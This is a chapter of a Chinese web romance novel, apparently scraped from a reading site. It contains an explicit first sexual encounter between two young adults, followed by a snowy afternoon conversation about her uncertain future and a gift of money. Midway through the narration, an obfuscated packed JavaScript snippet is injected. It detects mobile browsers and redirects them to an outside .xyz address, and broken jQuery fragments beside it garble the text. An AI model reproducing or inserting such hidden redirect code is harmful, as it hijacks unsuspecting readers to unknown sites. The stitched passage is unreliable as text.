136. 第 136 章

作品:《小霸王折腰记

    现在这个气氛,好像有点不太妙。


    向似锦想。


    她能够清晰地感受到林千礼灼热的体温,以及被他的高温烘得燥热的被窝。


    被子罩着他,他罩着她。


    棉被彻底阻挡了原本还能看清彼此轮廓的月色,黑暗中,所有的感官被无限放大。


    他在发抖,当然,她也好不到哪里去。


    她听见了林千礼吞咽口水的声音。


    许久,他才顶着有些沙哑的声音,问:“阿锦,你确定吗?……我怕你后……”


    两只手“啪”的一声,盖在了他的脸上。


    向似锦拉着他的脸,靠近,说:“林千礼,你是不是胆小鬼?”


    她温热的鼻息,在本就闷热的被子中更加灼人。


    闻言,林千礼一顿。


    他像是给自己打气一般,深吸了一口气,说:“……我不是。”


    吻轻轻地落在唇上,随着唇齿纠缠,而不断深-入。


    伴随着彼此的呼吸愈发急促,林千礼略显笨拙的指腹碾过领口的圆扣,解开的瞬间,被窝中的热气便一股脑地贴向了向似锦。


    她下意识一颤。


    但这回,那个吻却没有要停下的趋势了。


    滚烫的耳廓擦过脖颈,细密的啄-吻落在颈窝之中。


    掌心常年摸乐器而生的茧,正顺着她的腰线、后背描摹。


    湿润的吻从脖颈下滑,每一处的落点都伴随着旖-旎到极致的厮磨。


    当唇瓣与最隐-秘柔软的肌肤相贴时,那陌生的触感犹如一道电流生硬地闯进向似锦的脑海。


    她没忍住,发出了一声嘤-咛。


    意识到自己发出了什么声音的向似锦,慌忙地捂住了自己的嘴。


    见状,林千礼却笑了。


    她羞红了脸,想踹他一脚,但脚踝却被他握住。


    无奈之下,她只能不满地闭上眼,说:“你笑什么笑!”


    但林千礼却没有回答。


    他重新贴上来时,向似锦蓦地发现,他的衣服已经不知道什么时候褪去了。


    两人交叠的身-躯,在发烫,烫到像要灼伤彼此。


    “阿锦。”他唤道。


    “嗯?”向似锦睁开眼的瞬间,一滴泪从眼尾滑落。


    明明一片漆黑,但他就像是看见了一样,替她拭去了眼尾的那滴泪。


    他俯身轻啄了下她的唇,指尖有些紧张地碰了碰,问:“是、是……这里吗?”


    或许,是想报复他前面“嘲讽”的笑声,向似锦竟咯咯笑出了声。


    她顶着朦胧的泪眼,刚准备开口嘲讽,嘴却被堵住了,“……唔。”


    微弱的刺痛开始蔓延,那陌生的异物感和存在感极强的指尖,让向似锦整个人僵在了原地。


    她愣着,被动地接收来自林千礼的吻。


    “阿锦,你别紧张。”


    他低哑的声音,如鬼魅一般,在她的耳畔响起。


    但尾音落下的瞬间,她的耳垂也被含住了。


    不受控制的快感在脑海中反复炸现,她猛地一激灵,死死咬住下唇,不再让自己发出任何奇怪的声音。


    但林千礼却找了过来。


    他吻着她,撬开了她紧锁的唇,嗓音仍旧低哑,“阿锦,你叫出来吧,我想听。”


    “叫你个大……唔。”


    刺痛与不适,在消退。


    头一回无所适从的她,只能紧紧地环住林千礼的脖颈,将所有的泪水都抹在他的胸膛上。


    直到,他撑在她的身前,她的大腿贴着他紧实的腰腹,向似锦有些慌了。


    “阿锦,我爱你。”


    林千礼反复呢喃着,反复啄吻着她的唇,“我爱你我爱你我爱你我爱你我爱你……”


    那愈发低沉的告白,让她有些恍惚。


    却在意识逐渐涣散时,更为陌生的撕裂感将她猛地扯回了现实。


    滚烫的痛感中带着一丝火辣的麻木。


    向似锦想要逃,但头却撞到了他提前护着的掌心。


    林千礼揉了揉她的脑袋,问:“疼吗?”


    她吸了吸鼻子,推搡了下他,“……我不爱你了。”


    闻言,林千礼却只是乐。


    他一边笑着,一边温柔地吻着她,说:“没关系,我爱你就够了。”


    “你……”向似锦被他话堵得一噎。


    被窝中的空气愈发稀薄,粘-稠的呼吸让她有些喘不上气。


    她犹豫了一会儿,索性将头钻出了被子,就在她钻出去的下一秒,林千礼毛绒绒的脑袋,也跟了出来。


    两人四目相对,比先前还汹涌的热意攀上耳根。


    向似锦本想错开目光,却借着月色,发现了他看起来也并不好受的脸色。


    刺痛开始变成了细细密密的麻木。


    她思忖了片刻,腿主动贴住了他的腰,双手环过他的脖颈,嘀咕道:“你动吧……”


    但林千礼却一动不动。


    见状,向似锦有些奇怪地抬眸,这一回,她看见了他泛红的眼尾。


    她微启唇瓣,嗓音沙哑,“林千礼,你……不会又哭了吧?”


    林千礼错开目光,说:“没有。”


    向似锦不信,追着他的视线,眯起了眼,“真的没有……唔。”


    更深的一次触动,让她猛地绷紧了脚尖。


    她将脸埋到了他的怀中,耳畔传来了他游刃有余的轻笑声,“我没哭,阿锦。”


    羞赧爬满了整张脸,向似锦索性不理他。


    但他……好像也不像面上那样的游刃有余啊。


    “……”


    不适感在消退。


    她能够清晰地感受到林千礼僵在原地的身体。


    向似锦眨了眨眼,说:“林千礼,你是不是……”


    她还没说完,覆着薄汗的掌心,就将她的嘴捂得严严实实的。


    “这是正常的!”他脸涨得通红,有些气急败坏地说:“我超行的!我坚持很久了!第一次这样是正常的!!”


    林千礼话不多,这还是少见的几次说话像连珠炮一样地往外蹦。


    “噢。”向似锦强忍着笑,推了推他,“那你现在是不是可以从我身上下去了?”


    耳边响起了他沮丧的泄气声,身上的负重一空,林千礼气鼓鼓地躺到了她的身边。


    但生气归生气,他还不忘用被子将向似锦裹得严严实实的。


    “生气啦?”向似锦在被子中,存心要逗他。


    “哼。”林千礼哼唧了一声,抱住了她,“没有。”


    “噢~没生气啊~”她拉长语调,脸上的笑意更浓了,“那我有话要和你说。”


    “说什么?”


    “……说,你现在可以开始哭了。”


    林千礼像极了炸毛的小猫,“向似锦!”


    “你快哭吧,我听着呢。”向似锦一边笑,一边往被窝里钻。


    她爽朗的笑声透过棉被,听得林千礼太阳穴直跳。


    直到被中的氧气逐渐稀薄,她才探出了她乱糟糟的脑袋,去看林千礼。


    她原以为她能看见他羞红的脸,但没有。


    他一反常态的平静,甚至在目光相交的瞬间,露出了一抹坏笑。


    身体骤然腾空,她被林千礼打横抱起。


    毫无着力点的她,凭本能勾住了他的脖子,才稳住身形。


    但肌肤相贴的瞬间,她才忽地意识到——被子不见了!!


    她瞪大了眼睛,问:“林千礼!你干嘛!”


    “洗澡啊。”林千礼顶着通红的耳朵,却一脸坦然。


    “我自己可以洗!”向似锦推了推他,“不用你帮忙!”


    “可是我需要你,阿锦。”


    浴室的灯光已经从转角溢出,在视野中逐渐清晰的身体,让她下意识地选择闭眼。


    然后……向似锦终于知道了林千礼是什么意思。


    啊啊啊啊啊啊流氓啊!!!


    黑暗中,她推搡着了一下林千礼,摸到了一手粘腻的汗水。


    林千礼被汗水打湿的碎发,此刻就贴着她的肩头。


    她顶着嗡嗡作响的脑袋,咬牙切齿地说:“你……你就不累吗!”


    “不累。”林千礼摇头,“参加节目训练的强度可比这个大多了,我经常通宵的,阿锦。”


    “可是我累了!”向似锦喘着气,气得蹬了他一脚。


    力道不重,林千礼没什么反应,只是撒娇似地摇了摇头,说:“不,阿锦,你不累。我记得你以前抡沙袋的时候可有劲了。”


    “这不一样!”向似锦薅起他的头发,与他四目相对。


    但眼神交错的刹那,林千礼眸光一沉,又黏黏糊糊地凑了上来,要亲她。


    “你干什么!”向似锦当机立断,掌根推住了他的脑袋。


    “再来一次吧,阿锦。”林千礼吻了吻她的掌心。


    她一字一顿地说:“不、来、了!”


    闻言,林千礼委屈地撅起了嘴,“可是以前在三中上学的时候,袁老师和我们说……笨鸟要先飞……”


    “我发誓,袁老师的话不是让你这么用的!!”向似锦呛道:“而且你已经飞过了!!”


    “不,我是走地鸡。”林千礼咧嘴一笑,他的掌心已经托住了她的腰,“阿锦,我爱你。”


    “林千礼,你少混淆视听!你个大流……唔!”


    午后,窗外刺眼的光线顺着厚重的窗帘缝隙溜进屋内,屋内只有两人均匀的呼吸声。


    从事故发生的那天起,他们很久没有睡过这么完整的觉了。


    虽然,她是被折腾到天大亮,才昏睡过去的。


    但很快,在睡梦中的向似锦感受到了一股力量,正压在她的颈间,并且,这股压迫正在一点一滴地收紧,窒息感将她从深沉的睡眠中拉了出来。


    她猛地睁眼,就感受到了环在她脖子间那有力的手臂。


    向似锦狠狠地拧了一把他的小臂,只听身后的人发出了一声闷哼,手臂缓缓下移,揽住了她的肩膀。


    是的,她被锁喉了。


    往昔同床共枕,只有睡姿不好的她锁喉林千礼的机会,这还是第一次,她被熟睡中的林千礼锁喉了!


    越想越气,她试着动了下,腰部却传来了像被车碾过一样的疼痛。


    她倒抽了口凉气,彻底清醒了。


    更气了!


    向似锦在他的怀里艰难地调了个个,对上了林千礼的睡颜。


    这几个月,包括在婺城的那段时间,他在睡梦中总是紧蹙的眉心,此刻舒展着。


    鼻间均匀的呼吸正轻轻落在向似锦的脸上,挠得她脸痒痒的。


    愣神间,闭着眼的林千礼已经凑上前,啄了啄她的唇,说:“阿锦,早上好。”


    他赤-裸着上半身,靠近时,高上一些的体温将向似锦烫得一个激灵。


    她下意识地后撤,却撞上了林千礼一直横在她腰上的手。


    她没忍住,狠狠地在他的腰上掐了一把,“不早了!都下午了!!!”


    十二月底的北城,刚下过初雪,整个城市被皑皑白雪覆盖。


    吃过午饭,向似锦用毛毯将自己裹得严严实实后,就窝在阳台的摇椅上。


    摇椅一晃一晃的,在一片惬意中,她听见林千礼一边洗碗一边快乐的歌喉。


    向似锦:“……”


    隐隐作痛的后腰,让她实在没忍住朝厨房发送了一个当事人无法承接的眼刀。


    她开始发起了呆。


    簌簌的雪花从半空中飘摇落下,向似锦怔怔地盯着它们先后落在窗框、花园中,一时有些茫然。


    去年的这个时候,她和边从瑾,正跟着Cassandra在外地参展,甚至没来得及赶上北城的第一场初雪。


    而现在,她只能窝在这个摇晃的摇椅当中,思考人生。


    开春之后的下半年,对于他们而言是确定未来方向的重要时刻。


    是留在学校内,选择继续读研;还是进入职场,换种生活方式;亦或是……像Cassandra曾说的那样,送她们出国进修。


    原本的未来,牢牢地掌握在向似锦的手中,她可以凭借她的喜好,对她的命运进行抉择。


    而突如其来的变故,击碎了她所有美好的愿景。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426232|176723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    来势汹汹的意外,将她和林千礼打得一个措手不及。


    在铺天盖地的谣言下,维持像常人一样不被干扰的生活,已经耗尽了他们大部分的时间和精力。


    不断被拒的offer,精于人情世故而忘却本心的实习,还有各种要求无理却气壮的兼职客户,太多的烦心事压在了她傲气的脊梁之上。


    向似锦垂眸,双臂环过小腿,将自己圈了起来。


    不知道为什么,她最近总是能够想起Steven离职前的那段话——他说,她这一路过得太顺了,顺到自大又自满。


    而现在,报应来了。


    可为什么是报应呢?


    她又做错了什么?向似锦不懂。


    高三毕业,踌躇满志填报B大时的她,坚信自己可以在这条摄影路上闯出一番天地,那时候的她,哪怕未来障碍重重,但她总是有着一往无前的勇气;


    而现在,春去春又来,再次迎来毕业季,但那个勇敢无畏的小霸王,好像突然失去了前进的方向。


    若是前方有难关,那就一步一个脚印迈过去。


    而失去方向,光是咀嚼这四个字,向似锦就感受到了前所未有的恐惧。


    她恐慌于命运无法掌握在自己手中的茫然感,她用尽全力抓着象征她梦想一部分的相机,但却好像让更重要的东西从她的指缝间流走了。


    她又叹了口气。


    气息落下,一股新的力量圈上小腿,她整个人腾空了。


    向似锦倏地瞪大了双眼,花了两秒的时间,才意识到她像是被拔萝卜一样,被林千礼从摇椅中抱了起来。


    他摘下了在厨房洗碗时的围裙,穿着一件深色的居家服,挤进了摇椅沙发中。


    趁着思考人生的她还没反应过来时,先一步让她坐到了他的腿上。


    他黏黏糊糊地揽住她,发出了一声满足的喟叹。


    看着他心安理得的脸,向似锦的眉头止不住地跳了跳。


    她有点后悔了!!


    以前的林千礼黏人,总是想法设法地出现在她的视线中,希望她的眼底永远都有他的身影;


    而现在的林千礼,他黏人的程度到达了历史新高,一言一行都写满了他对于肢体接触的渴望,吃饭、睡觉、发呆……就好像如果可以,他就要忍不住化身成考拉,紧紧地扒在她身上了!


    后腰好像又疼了。


    向似锦想着,愤愤地剜了他一眼。


    可当事人却浑然不觉。


    林千礼笑盈盈地蹭了蹭她,说:“阿锦,明天去买相机吧?我和你一起去。”


    “……过段时间吧。”向似锦思索着,“等过两天我上一笔的兼职结款了再去买吧。”


    跟着一起掉进水塘的,除了相机,还有她的长焦镜头。


    两个设备加在一起,是一笔不小的开支。


    林千礼轻声打断了她的思绪,“阿锦,当时给你的那个红包,你是不是还带着?”


    “什么红包?”


    向似锦与林千礼对视了片刻,脑回路搭上了。她一拍手,说:“噢,当时那一叠一元的红包吗?”


    “嗯。”他点头,“你现在去拆开看看。”


    “拆它干嘛?”向似锦问:“等等,你怎么知道我把那个红包带来了?”


    暑假时,回宁城收拾行李的向似锦,无意间发现了抽屉中从未拆封过的新年红包。


    她打量了一会儿,想起来,是高二那年,林千礼送给她的——象征着好运气的红包。她一直将那个红包夹在第一本相册中。


    当时,她被谣言折磨得身心俱疲,看见红包,想迷信一把,就顺手把红包带去了婺城,辗转之后,又跟回了北城。


    说起来……红包现在应该还塞在她的行李箱里呢。


    林千礼笑了一声,“你等我。”


    他起身,走进卧室。


    片刻后,他手上拿着红包,重新抱起她,才将红包塞到了她的手中。


    他说:“拆开看看。”


    红包表层的颜料有些暗沉了,但封口却结结实实的。


    林千礼叹了口气,“我真的没想到,你竟然一直没拆开看过。”


    向似锦狐疑地看了他一眼,还是老老实实地拆开了红包。


    指尖挑起封层,一沓红色的纸钞映入眼帘……那一张张的,不是一元纸币,而是……


    “什、什什么情况?”她结巴地说:“你刚才掉包了我的幸运红包?”


    “……阿锦。”林千礼先是一愣,随后无奈地笑了,“这个红包当时我装的就是一百的……”


    “那你为什么不早告诉我??”


    “我要是和你说里面装的是一百的,你肯定不收啊。”林千礼无辜地眨了眨眼,“我哪儿知道,这么多年你竟然从来都没想过要拆红包。”


    “都是一块钱有什么好拆的!”向似锦瞪了他一眼,转瞬又咧嘴一笑,“……那我点点有多少,嘿嘿。”


    “不用点了。”林千礼揽着她的腰,吻了上来,“两万,这是我那一年从姥姥姥爷家打劫来的所有压岁钱。”


    未尽的话语淹没在了新一轮的唇齿交缠间。


    向似锦被他禁锢在怀中,除了回应他的吻,别无他法。


    许久,林千礼才心满意足地抱住她,说:“阿锦,你说,这算不算意外之喜?”


    向似锦被他亲得有些懵,“哪一个算意外之喜?”


    “都算。”林千礼哈哈笑了两声,将她抱得更紧了点,“阿锦,一切都会好起来的,以后也会有很多很多个像这样的意外之喜的。你可以恨我、怨我,但你不要难过……”


    他凑近,亲了亲她的额头。


    向似锦看着他坦诚的脸,也跟着笑了,“林千礼,你是白痴吗?”


    “嗯,我是。”他说:“阿锦说得都对!”


    “……笨蛋。”向似锦窝在他的怀中,看向正在簌簌落下的雪花,说:“林千礼,我们毕业以后去旅行吧。”


    “好啊,去哪里?”


    “去瑞士!我上次刷到别人分享的雪景了,超级好看!肯定很出片!”


    “好,那就去瑞士。毕业了就去。”